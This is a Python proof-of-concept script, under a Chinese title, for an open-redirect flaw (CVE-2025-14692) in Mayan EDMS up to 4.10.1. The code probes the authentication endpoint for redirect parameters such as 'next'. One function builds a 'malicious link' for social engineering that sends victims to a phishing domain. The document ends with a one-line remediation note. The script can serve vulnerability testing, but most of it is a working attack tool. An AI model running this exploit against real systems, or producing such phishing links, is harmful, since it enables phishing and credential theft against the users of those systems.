CVE-2025-14692 Mayan EDMS 开放重定向漏洞

# CVE-2025-14692 Mayan EDMS Open Redirect PoC # Affected: Mayan EDMS <= 4.10.1 # Reference: https://github.com/ionutluca888/Mayan-EDMS-OpenRedirect-POC import requests import urllib.parse from colorama import Fore, Style, init init(autoreset=True) def check_open_redirect(target_url, redirect_target): """ Check if Mayan EDMS is vulnerable to open redirect Args: target_url: Base URL of Mayan EDMS instance (e.g., https://target.com/) redirect_target: Malicious URL to redirect to Returns: bool: True if vulnerable, False otherwise """ # Construct the vulnerable URL with redirect parameter auth_url = f"{target_url.rstrip('/')}/authentication/" # Common redirect parameter names used in authentication flows redirect_params = ['next', 'redirect', 'redirect_to', 'url', 'continue', 'return_url'] vulnerable = False for param in redirect_params: try: params = {param: redirect_target} response = requests.get( auth_url, params=params, allow_redirects=False, timeout=10, verify=False ) # Check if redirect header points to external domain if 'location' in response.headers: location = response.headers['location'] if redirect_target in location or redirect_target in urllib.parse.unquote(location): print(f"{Fore.RED}[+] VULNERABLE: Parameter '{param}' allows open redirect{Style.RESET_ALL}") print(f"{Fore.YELLOW}[*] Redirects to: {location}{Style.RESET_ALL}") vulnerable = True except requests.RequestException as e: print(f"{Fore.RED}[!] Error testing parameter '{param}': {e}{Style.RESET_ALL}") return vulnerable def generate_malicious_link(base_url, redirect_target): """Generate malicious link for social engineering attacks""" auth_url = f"{base_url.rstrip('/')}/authentication/" malicious_url = f"{auth_url}?next={urllib.parse.quote(redirect_target)}" return malicious_url if __name__ == "__main__": print(f"{Fore.CYAN}CVE-2025-14692 Mayan EDMS Open Redirect Checker{Style.RESET_ALL}") print("=" * 60) # Configuration target = "https://vulnerable-mayan-edms.com" evil_domain = "https://malicious-phishing-site.com" # Check vulnerability print(f"{Fore.WHITE}[*] Target: {target}{Style.RESET_ALL}") print(f"{Fore.WHITE}[*] Malicious target: {evil_domain}{Style.RESET_ALL}\n") result = check_open_redirect(target, evil_domain) if result: print(f"{Fore.RED}[!] Target is VULNERABLE to CVE-2025-14692{Style.RESET_ALL}") malicious_link = generate_malicious_link(target, evil_domain) print(f"{Fore.YELLOW}[*] Malicious link: {malicious_link}{Style.RESET_ALL}") else: print(f"{Fore.GREEN}[+] Target appears to be NOT vulnerable{Style.RESET_ALL}") print("\n[*] Remediation: Upgrade to Mayan EDMS >= 4.10.2")